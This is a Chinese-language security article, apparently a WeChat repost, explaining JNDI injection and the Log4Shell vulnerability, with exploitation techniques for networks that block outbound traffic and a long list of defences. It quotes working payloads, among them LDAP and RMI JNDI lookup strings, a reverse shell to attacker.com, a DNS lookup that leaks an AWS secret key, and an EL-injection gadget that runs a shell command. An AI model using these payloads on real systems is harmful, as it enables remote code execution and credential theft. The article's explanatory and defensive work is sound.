近年来,JNDI(Java Naming and Directory Interface)相关的安全漏洞频繁成为企业级Java应用的重大威胁。尤其是2021年底爆发的Log4j2漏洞(CVE-2021-44228,即Log4Shell),直接暴露了JNDI动态协议加载机制的安全缺陷,引发全球范围内的安全危机。本文将从JNDI的基础原理出发,深入分析其漏洞成因、利用方式,并结合实际案例和防御策略,为开发者提供全面的技术参考。
JNDI基础与漏洞背景
一、JNDI的作用与架构
JNDI是Java平台提供的一套统一API,用于访问命名和目录服务(如LDAP、DNS、RMI等)。其核心功能包括:
-
资源定位:通过名称(如java:comp/env/jdbc/DataSource)查找对象(如数据库连接池)。
-
协议透明:支持多种协议(LDAP、RMI、CORBA等),开发者无需关心底层实现。
JNDI架构分层:
-
API层:开发者调用的接口(如InitialContext.lookup())。
-
SPI层:(Service Provider Interface):协议实现模块(如ldap.jar、rmi.jar)。
-
协议服务端:如LDAP服务器、RMI注册表。
二、动态协议加载机制
JNDI允许通过URL动态指定协议。例如:
Context ctx = new InitialContext();Object obj = ctx.lookup("ldap://attacker.com:1389/Exploit");
此处,JNDI会根据ldap协议自动加载对应的SPI模块,并与远程服务器交互。这种灵活性为漏洞埋下了隐患。
三、漏洞历史与影响
-
2016年:Black Hat会议上首次公开JNDI注入攻击。
-
2021年:Log4j2漏洞(CVE-2021-44228)利用JNDI实现RCE,影响全球数十万系统。
-
持续威胁:JNDI漏洞常与其他组件(如Fastjson、XStream)反序列化漏洞结合,形成攻击链
JNDI漏洞原理分析
一、攻击核心:远程类加载
JNDI漏洞的本质是允许攻击者控制JNDI查找的URL,从而触发恶意类的远程加载。以下以LDAP协议为例说明攻击流程:
-
攻击者搭建恶意LDAP服务器:配置LDAP条目,指向一个远程Java类(如http://attacker.com/Exploit.class)。
-
受害者执行JNDI查询:例如,Log4j2日志输出时解析${jndi:ldap://attacker.com/Exploit}。
-
JNDI客户端加载恶意类:JNDI的LDAP-SPI模块解析响应,自动下载并实例化Exploit.class,触发任意代码执行。
二、关键代码逻辑
在JDK8u191之前的版本中,com.sun.jndi.ldap.ObjectFactory会直接加载远程类:// 简化后的LDAP SPI处理逻辑public Object getObjectInstance(Object ref, Name name, Context ctx, Hashtable<?,?> env) { String codebase = (String) ref.get("javaCodeBase"); // 从LDAP响应中获取codebase ClassLoader cl = new URLClassLoader(new URL[]{new URL(codebase)}); Class<?> exploitClass = cl.loadClass("Exploit"); return exploitClass.newInstance(); // 实例化类,执行静态代码块}
三、攻击面扩展
除LDAP外,其他协议同样存在风险:
-
RMI协议:通过rmi://加载远程对象,利用反序列化漏洞。
-
CORBA协议:结合IIOP(InternetInter-ORB Protocol)实现跨语言攻击。
-
DNS协议:信息泄露(如探测内网服务)。
典型案例Log4RCE漏洞(CVE-2021-44228)
一、漏洞触发条件
-
Log4j2版本:2.0-beta9至2.14.1。
-
日志输出包含JNDI表达式:例如
logger.error("${jndi:ldap://attacker.com/payload}")
二、攻击流程
-
攻击者构造恶意请求:在HTTP头、参数等位置插入JNDI表达式,如
User-Agent: ${jndi:ldap://attacker.com/Exploit}
-
Log4j2解析日志:默认配置下,Log4j2会递归解析${}内的表达式,触发JNDI查询。
-
恶意类执行:远程类Exploit.class可能执行以下操作:
-
反弹Shell,如
Runtime.getRuntime().exec("bash -i >& /dev/tcp/attacker.com/4444 0>&1")
-
内网探测或横向移动。
-
加密勒索软件部署。
三、不出网利用技术:绕过外联限制的攻击手法
在真实企业环境中,许多服务器会严格限制出网流量(如禁止主动连接互联网),传统的JNDI漏洞利用方式(如通过LDAP协议加载远程恶意类)可能失效。攻击者针对此类场景,衍生出多种不出网的利用技术,以下为典型方案:
1.利用内网JNDI服务与反序列化链组合攻击
1.1原理:
当目标服务器无法访问外网但开放内网协议(如RMI、LDAP)时,攻击者可先通过其他漏洞(如SSRF、反序列化)在内网部署恶意JNDI服务,再触发Log4j2漏洞加载内网恶意类。
1.2步骤:
内网渗透:通过Web漏洞(如Fastjson反序列化)在内网某机器(10.10.1.100)部署恶意RMI服务。
构造Payload:
${jndi:rmi://10.10.1.100:1099/Exploit}
目标执行:
-
当受害服务器解析该Payload时,会向内部RMI服务请求Exploit对象。
-
恶意RMI服务返回一个包含反序列化Gadget链的Reference对象,触发本地ClassPath中的漏洞,如
org.apache.commons.collections.Transformer
1.3关键点:
-
依赖内网中存在可用的反序列化链(如老旧版本的Commons-Collections)。
-
攻击者需预先掌握内网IP或域名信息(可通过信息泄露漏洞获取)。
2.本地ClassPath中的恶意类加载
2.1原理:
若目标应用的ClassPath中存在包含危险方法的类(如EL处理器、ScriptEngine),攻击者可通过JNDI Reference指向这些类,直接执行代码。
2.2案例:Tomcat EL表达式注入
Payload构造:
${jndi:ldap://127.0.0.1:1389/Exploit}
本地LDAP服务响应:返回Reference对象,指定factoryClass为javax.el.ELProcessor:
Reference ref = new Reference("Exploit", "javax.el.ELProcessor", "http://local/");ref.add(new StringRefAddr("x", """.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['sh','-c','touch /tmp/pwned']).start()")"));
代码执行: JNDI解析Reference时,调用ELProcessor.eval()执行任意命令(无需出网)。
2.3防御难点:
即使禁用远程类加载,本地ClassPath中的危险类仍可能被利用。
3. 基于DNS协议的信息泄露与内部网络探测
3.1原理:
在严格不出网但允许DNS协议的环境中,攻击者可通过Log4j2触发DNS查询,利用内部DNS服务器泄露敏感信息或探测内网服务。
3.2Payload示例:
${jndi:dns://internal-dns-server.com/${env:AWS_SECRET_KEY}.attacker.com}
3.3利用过程:
-
目标服务器解析该Payload时,向内部DNS服务器(internal-dns-server.com)发起查询。
-
DNS查询的域名包含敏感数据(如${env:AWS_SECRET_KEY}被解析为环境变量值)。
-
攻击者通过DNS日志或流量监控获取泄露的数据。
3.4拓展攻击:
结合DNS泛解析记录,批量探测内网IP和主机名。
4.文件写入与本地代码执行
4.1场景:当目标服务器禁止任何网络连接但允许文件操作时,攻击者可分阶段攻击:
4.2通过JNDI写入WebShell:
${jndi:ldap://dummy/Exploit}
LDAP响应返回一个Reference,触发java.io.FileOutputStream将恶意代码写入Web目录。
4.3通过其他漏洞触发WebShell:利用CSRF、SSRF或已有权限访问写入的WebShell路径。
4.4技术限制:
-
需依赖应用权限允许文件写入。
-
写入路径需可被访问(如Tomcat的webapps目录)。
JDK版本对JNDI漏洞的影响
一、关键版本分界线
-
JDK6u45/7u21:引入java.rmi.server.useCodebaseOnly属性,限制远程类加载。
-
JDK 8u121 / 7u131 / 6u141:
默认禁用远程codebase(com.sun.jndi.ldap.object.trustURLCodebase=false)。
-
JDK 8u191+:完全禁止从LDAP URL加载远程类。
二、绕过JDK限制的尝试
即使在高版本JDK中,攻击者仍可能通过以下方式利用:
-
利用本地ClassPath中的类:例如,org.apache.naming.factory.BeanFactory可触发EL表达式注入。
-
结合反序列化漏洞:如果应用依赖中存在不安全的反序列化链(如Fastjson、XStream),可通过JNDI触发二次攻击。
-
利用其他SPI实现:如javax.el.ELProcessor执行EL表达式。
防御策略与实践建议
一、开发者编码规范
1.禁止外部可控的JNDI查询: 避免将用户输入直接传递给InitialContext.lookup()。
// 错误示例String url = request.getParameter("url");Context ctx = new InitialContext();ctx.lookup(url); // 高风险!// 正确做法:仅允许固定路径ctx.lookup("java:/comp/env/jdbc/TrustedDS");
2.升级依赖库:
-
Log4j2升级至2.17.0+,启用log4j2.formatMsgNoLookups=true。
-
使用Fastjson 1.2.83+或切换至Jackson。
3.输入验证与过滤:
对日志、HTTP参数等场景中的${、jndi:等关键字进行过滤。
二、环境配置加固
1.JDK升级:
JDK 8u191+ / 11.0.1+ / 17+,启用默认安全限制。添加JVM参数:-Dcom.sun.jndi.ldap.object.trustURLCodebase=false。
2.网络隔离:
-
禁止应用服务器主动访问外网(出站流量限制)。
-
使用防火墙规则拦截LDAP/RMI等高危协议(端口389、1099等)。
三、安全组件部署:
-
WAF(Web应用防火墙)拦截JNDI注入特征。
-
RASP(运行时应用自保护)监控可疑类加载行为。
四、内网服务加固:
-
禁止内部JNDI/RMI服务公开访问,启用认证机制。
-
定期更新内网中间件(如Tomcat、WebLogic)的反序列化链依赖。
五、本地ClassPath监控:
-
使用工具(如OWASP-Dependency-Check)扫描ClassPath中的高危类。
-
移除不必要的危险库(如旧版Commons-Collections)。
六、DNS协议管控:
-
限制应用服务器发起任意DNS查询,仅允许访问授权域名。
-
监控内部DNS服务器的异常查询日志。
七、文件操作权限隔离:
运行Java应用的账户需遵循最小权限原则,禁止写入Web目录或敏感路径。
最后,附上思维导图:
JDK版本对JNDI漏洞的影响
原文始发于微信公众号(安全驾驶舱):【JAVA安全】JNDI漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论